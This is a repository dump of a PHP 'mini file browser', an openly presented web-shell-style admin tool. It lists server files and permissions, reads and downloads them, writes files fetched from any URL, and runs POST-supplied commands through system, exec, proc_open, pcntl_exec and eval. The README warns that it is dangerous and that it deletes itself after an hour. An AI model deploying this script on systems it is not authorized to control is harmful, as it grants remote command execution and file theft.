├── .gitattributes ├── README.md └── mfb.php /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PHP-Mini-File-Browser 2 | 3 | [My writeup about this tool](https://smitka.me/2024/04/12/php-mini-file-browser-update/) 4 | 5 | This is really simple&primitive and dangerous script which allows you: 6 | - iterate throw directory structure and show permissions, it uses 2 methods: 7 | - plain PHP which can be limited via open_basedir 8 | - shell_exec system function which can be limited by disabled_functions 9 | - show basic info about PHP configuraion (version, extensions, disable functions, open_basedir, or complete phpinfo) 10 | - download files from the server (if enabled) 11 | - upload files from URL to the server (if enabled) 12 | - read files and show their content (text, images, archives content) 13 | - run system commands via various methods (if enabled) 14 | 15 | The script will **delete itself after 1 hour** for security reasons (you can configure this behavior). It is also possible to set credentials to use this script, of course. 16 | 17 | > [!CAUTION] 18 | > Do not grant “MFB” access to untrusted users, as a skilled user could escalate their privileges and do anything to your site and server 😉. The script is full of security threats and can cause FPD, XSS, SQLi, SSRF, LFI, RCE, WTF, etc. 19 | 20 | ## File browser 21 |  22 | 23 | ## Dark Mode 😎 24 |  25 | 26 | 27 | ## Command executor 28 |  29 | 30 | ## File uploader 31 |  32 | 33 | ## File reader 34 | 35 | View text files content 36 | 37 |  38 | 39 | Show images 40 | 41 |  42 | 43 | Show files inside archive (zip, tar, tgz) 44 | 45 |  46 | 47 | 48 | 49 | *Note: this project is still alive :-)* 50 | -------------------------------------------------------------------------------- /mfb.php: -------------------------------------------------------------------------------- 1 | $aging) || isset($_GET['remove'])) { 65 | if (unlink(__FILE__)) 66 | die('removed!'); 67 | else 68 | die('not removed!'); 69 | } 70 | 71 | date_default_timezone_set($timezone); 72 | 73 | $method = isset($_GET['m']) ? $_GET['m'] : 'php'; 74 | 75 | if ($download && isset($_GET['down'])) { 76 | download($_GET['down'], $method); 77 | } 78 | 79 | main(__DIR__, $download, $upload, $read, $console, $method, $base64_paths); 80 | 81 | function main($dir, $download, $upload, $read, $console, $method, $base64_paths) 82 | { 83 | echo ""; 84 | echo ""; 85 | echo "
File browsing: switch to php
"; 112 | break; 113 | default: 114 | $files = list_directory_php($dir); 115 | $r = is_enabled('shell_exec'); 116 | if ($r[1] === 'b') 117 | echo "File browsing: switch to shell_exec
"; 118 | break; 119 | } 120 | 121 | echo "| "; 129 | if ($file['isDir']) { 130 | if ($file['name'] === '..') 131 | echo "[ UP ]"; 132 | elseif ($file['name'] === '.') 133 | echo $file['path']; 134 | else 135 | echo "{$file["name"]}"; 136 | } else { 137 | echo $file["name"]; 138 | } 139 | 140 | echo " | "; 141 | echo "{$file['perm']} {$file['owner']} | "; 142 | echo "{$file['my_perm']} | "; 143 | echo "{$file['time']} | "; 144 | echo ""; 145 | if ($download && $file['base64']) 146 | echo "download "; 147 | if ($read && $file['base64']) 148 | echo "read "; 149 | echo $file['size']; 150 | echo " |
Current script: '. __FILE__ . '
'; 157 | echo 'PHP version: ' . f('phpversion') . ' @ ' . f('php_uname') . ' [' . f('php_sapi_name') . ']
'; 158 | echo 'PHP extensions: ' . implode(', ', f('get_loaded_extensions')) . '
'; 159 | echo 'PHP disable functions: ' . ini_get('disable_functions') . '
'; 160 | echo 'PHP dangerous functions: '; 161 | echo is_enabled('system') . ' '; 162 | echo is_enabled('exec') . ' '; 163 | echo is_enabled('shell_exec') . ' '; 164 | echo is_enabled('passthru') . ' '; 165 | echo is_enabled('proc_open') . ' '; 166 | echo is_enabled('popen') . ' '; 167 | echo is_enabled('pcntl_exec') . ' '; 168 | echo is_enabled('putenv') . ' '; 169 | echo '
'; 170 | echo 'Open Basedir: '; 171 | 172 | $basedirs = explode(":", ini_get('open_basedir')); 173 | $num = sizeof($basedirs); 174 | for ($i = 0; $i < $num; $i++) { 175 | echo '' . $basedirs[$i] . ' '; 176 | } 177 | echo '
'; 178 | if ($read) 179 | echo ''; 180 | echo ''; 181 | 182 | 183 | if (isset($_GET['info'])) { 184 | f('phpinfo'); 185 | } 186 | 187 | echo ""; 188 | echo "Author: Vladimir Smitka, Lynt services s.r.o., Security Blog, GitHub
"; 189 | } 190 | 191 | 192 | 193 | function list_directory_php($dir) 194 | { 195 | $files = scandir($dir); 196 | $fileList = array(); 197 | foreach ($files as $file) { 198 | 199 | $real = @realpath($dir . DIRECTORY_SEPARATOR . $file); 200 | if ($real === false) 201 | continue; 202 | 203 | 204 | $isDir = is_dir($real); 205 | 206 | $perm = get_perms($real); 207 | 208 | $my_perm = ''; 209 | if (f('is_readable',$real)) 210 | $my_perm .= 'R'; 211 | if (f('is_writable',$real)) 212 | $my_perm .= 'W'; 213 | if (f('is_executable',$real)) 214 | $my_perm .= 'X'; 215 | 216 | $owner = ''; 217 | if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { 218 | $pwuid = posix_getpwuid(fileowner($real)); 219 | $grgid = posix_getgrgid(fileowner($real)); 220 | $owner = $pwuid['name'] . ":" . $grgid['name']; 221 | } 222 | 223 | $time = date('Y-m-d H:i:s', filemtime($real)); 224 | $size = is_dir($real) ? '' : FileSizeConvert(filesize($real)); 225 | $base64 = f('is_readable',$real) && !$isDir ? base64_encode($real) : ''; 226 | 227 | $fileList[] = array( 228 | 'name' => $file, 229 | 'path' => $real, 230 | 'isDir' => $isDir, 231 | 'perm' => $perm, 232 | 'my_perm' => $my_perm, 233 | 'owner' => $owner, 234 | 'time' => $time, 235 | 'size' => $size, 236 | 'base64' => $base64 237 | ); 238 | } 239 | return $fileList; 240 | } 241 | 242 | function list_directory_shell($dir) 243 | { 244 | $output = shell_exec("ls -la --time-style=full-iso " . escapeshellarg($dir)); 245 | $lines = explode("\n", trim($output)); 246 | $fileList = array(); 247 | foreach ($lines as $line) { 248 | $line = trim($line); 249 | if ($line === '' || strpos($line, 'total ') === 0) 250 | continue; 251 | $parts = preg_split('/\s+/', $line, 9); 252 | if (count($parts) < 9) 253 | continue; 254 | $file = $parts[8]; 255 | $real = emul_realpath($dir . DIRECTORY_SEPARATOR . $file); 256 | $isDir = $parts[0][0] === 'd'; 257 | $perm = substr($parts[0], 1); 258 | $my_perm = ''; 259 | if (strpos($perm, 'r') !== false) 260 | $my_perm .= 'R'; 261 | if (strpos($perm, 'w') !== false) 262 | $my_perm .= 'W'; 263 | if (strpos($perm, 'x') !== false) 264 | $my_perm .= 'X'; 265 | $owner = $parts[2] . ':' . $parts[3]; 266 | list($timePart) = explode(".", $parts[6]); 267 | $time = date('Y-m-d H:i:s', strtotime($parts[5] . ' ' . $timePart)); 268 | $size = $isDir ? '' : FileSizeConvert($parts[4]); 269 | $base64 = strpos($perm, 'r') !== false && !$isDir ? base64_encode($real) : ''; 270 | 271 | $fileList[] = array( 272 | 'name' => $file, 273 | 'path' => $real, 274 | 'isDir' => $isDir, 275 | 'perm' => $perm, 276 | 'my_perm' => $my_perm, 277 | 'owner' => $owner, 278 | 'time' => $time, 279 | 'size' => $size, 280 | 'base64' => $base64 281 | ); 282 | } 283 | return $fileList; 284 | } 285 | 286 | 287 | function get_perms($file) 288 | { 289 | 290 | $perms = fileperms($file); 291 | 292 | switch ($perms & 0xF000) { 293 | case 0xC000: // socket 294 | $info = 's'; 295 | break; 296 | case 0xA000: // symbolic link 297 | $info = 'l'; 298 | break; 299 | case 0x8000: // regular 300 | $info = '-'; 301 | break; 302 | case 0x6000: // block special 303 | $info = 'b'; 304 | break; 305 | case 0x4000: // directory 306 | $info = 'd'; 307 | break; 308 | case 0x2000: // character special 309 | $info = 'c'; 310 | break; 311 | case 0x1000: // FIFO pipe 312 | $info = 'p'; 313 | break; 314 | default: // unknown 315 | $info = 'u'; 316 | } 317 | // Owner 318 | $info .= (($perms & 0x0100) ? 'r' : '-'); 319 | $info .= (($perms & 0x0080) ? 'w' : '-'); 320 | $info .= (($perms & 0x0040) ? 321 | (($perms & 0x0800) ? 's' : 'x') : 322 | (($perms & 0x0800) ? 'S' : '-')); 323 | // Group 324 | $info .= (($perms & 0x0020) ? 'r' : '-'); 325 | $info .= (($perms & 0x0010) ? 'w' : '-'); 326 | $info .= (($perms & 0x0008) ? 327 | (($perms & 0x0400) ? 's' : 'x') : 328 | (($perms & 0x0400) ? 'S' : '-')); 329 | // World 330 | $info .= (($perms & 0x0004) ? 'r' : '-'); 331 | $info .= (($perms & 0x0002) ? 'w' : '-'); 332 | $info .= (($perms & 0x0001) ? 333 | (($perms & 0x0200) ? 't' : 'x') : 334 | (($perms & 0x0200) ? 'T' : '-')); 335 | 336 | return $info; 337 | 338 | 339 | } 340 | 341 | function upload() 342 | { 343 | 344 | $defaultFilePath = __DIR__ . '/mfb-file.php'; 345 | 346 | echo ''; 351 | 352 | if (isset($_POST['fileUpload'])) { 353 | 354 | $fileUrl = $_POST['fileUrl']; 355 | $filePath = $_POST['filePath']; 356 | $fileContent = file_get_contents($fileUrl); 357 | if ($fileContent !== false) { 358 | file_put_contents($filePath, $fileContent); 359 | } 360 | } 361 | 362 | 363 | } 364 | function console() 365 | { 366 | 367 | $method = isset($_POST['method']) ? $_POST['method'] : 'system'; 368 | 369 | echo ''; 382 | 383 | if (isset($_POST['command'])) { 384 | $command = escapeshellcmd($_POST['command']); 385 | echo '';
386 | switch ($_POST['method']) {
387 |
388 | case 'system':
389 | echo system($command);
390 | break;
391 |
392 | case 'backtick':
393 | echo `$command`;
394 | break;
395 |
396 | case 'exec':
397 | exec($command, $tmp);
398 | print_r($tmp);
399 | break;
400 |
401 | case 'shell_exec':
402 | echo shell_exec($command);
403 | break;
404 |
405 | case 'passthru':
406 | passthru($command);
407 | break;
408 |
409 | case 'eval':
410 | echo eval_code($_POST['command']);
411 | break;
412 |
413 | case 'proc_open':
414 | $pr = proc_open($command, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $pipes);
415 | echo stream_get_contents($pipes[1]);
416 | fclose($pipes[0]);
417 | fclose($pipes[1]);
418 | fclose($pipes[2]);
419 | break;
420 |
421 | case 'popen':
422 | $fp = popen($command, "r");
423 | echo stream_get_contents($fp);
424 | fclose($fp);
425 | break;
426 |
427 | case 'pcntl_exec':
428 | header("Refresh:1");
429 | pcntl_exec('/bin/sh', array('-c', $command . ' > this_is_pcntl_exec_outfile.txt'));
430 | break;
431 | }
432 |
433 | echo '';
437 | echo file_get_contents('this_is_pcntl_exec_outfile.txt');
438 | echo "";
439 | unlink('this_is_pcntl_exec_outfile.txt');
440 | }
441 |
442 | }
443 |
444 |
445 | function eval_code($code)
446 | {
447 | if (!preg_match('/\breturn\b/', $code)) {
448 | $code = 'return ' . $code;
449 | }
450 | if (substr(trim($code), -1) !== ';') {
451 | $code .= ';';
452 | }
453 | try {
454 | $result = eval ($code);
455 | } catch (ParseError $e) {
456 | return 'Parse error: ' . $e->getMessage();
457 | }
458 | return $result;
459 | }
460 |
461 | function emul_realpath($path)
462 | {
463 | $folders = explode('/', $path);
464 | $stack = array();
465 | foreach ($folders as $folder) {
466 | if ($folder === '..') {
467 | array_pop($stack);
468 | } elseif ($folder !== '' && $folder !== '.') {
469 | array_push($stack, $folder);
470 | }
471 | }
472 | $result = '/' . implode('/', $stack);
473 | if (substr($path, -1) === '/') {
474 | $result .= '/';
475 | }
476 | return $result;
477 | }
478 |
479 | function modify_url($key, $value)
480 | {
481 | $parts = parse_url($_SERVER['REQUEST_URI']);
482 | parse_str(isset($parts['query']) ? $parts['query'] : '', $query);
483 | $query[$key] = $value;
484 | $parts['query'] = http_build_query($query);
485 | return $parts['path'] . '?' . $parts['query'];
486 | }
487 |
488 | function FileSizeConvert($bytes)
489 | {
490 | $units = array("TB" => pow(1024, 4), "GB" => pow(1024, 3), "MB" => pow(1024, 2), "kB" => 1024, "B" => 1);
491 | foreach ($units as $unit => $value) {
492 | if ($bytes >= $value) {
493 | return str_replace(".", ",", round($bytes / $value, 2)) . " " . $unit;
494 | }
495 | }
496 | return '0 B';
497 | }
498 |
499 |
500 | function is_enabled($func)
501 | {
502 | if (!function_exists($func)) {
503 | return "File: $file
"; 545 | 546 | $ext = pathinfo($file, PATHINFO_EXTENSION); 547 | $file_name = pathinfo($file, PATHINFO_BASENAME); 548 | echo "";
549 | ob_start();
550 |
551 | switch ($method) {
552 | case "php":
553 | readfile($file);
554 | break;
555 | case "shell_exec":
556 | echo shell_exec("cat " . escapeshellarg($file) . " 2>&1");
557 | break;
558 | }
559 |
560 | $content = ob_get_clean();
561 | $is_img = false;
562 | $is_archive = false;
563 | $mime = 'text/plain';
564 |
565 | switch ($ext) {
566 | case "jpg":
567 | $is_img = true;
568 | $mime = 'image/jpeg';
569 | break;
570 | case "jpeg":
571 | $is_img = true;
572 | $mime = 'image/jpeg';
573 | break;
574 | case "png":
575 | $is_img = true;
576 | $mime = 'image/png';
577 | break;
578 | case "gif":
579 | $is_img = true;
580 | $mime = 'image/gif';
581 | break;
582 | case "webp":
583 | $is_img = true;
584 | $mime = 'image/webp';
585 | break;
586 | case "svg":
587 | $is_img = true;
588 | $mime = 'image/svg+xml';
589 | break;
590 | case "zip":
591 | $is_archive = true;
592 | break;
593 | case "tgz":
594 | $is_archive = true;
595 | break;
596 | case "tar":
597 | $is_archive = true;
598 | break;
599 | case "gz":
600 | $is_archive = true;
601 | break;
602 |
603 | default:
604 | $is_img = false;
605 | }
606 |
607 | if ($is_img) {
608 | echo '
';
609 | } elseif ($is_archive) {
610 | read_archive($content, $file_name);
611 | } else {
612 | echo htmlspecialchars($content);
613 | }
614 | echo "";
615 |
616 | }
617 |
618 |
619 | function read_archive($content, $file_name)
620 | {
621 | if (class_exists("PharData")) {
622 | $temp = sys_get_temp_dir() . '/mfb-archive-' . $file_name;
623 | file_put_contents($temp, $content);
624 | $phar = new PharData($temp);
625 | echo "Archive files: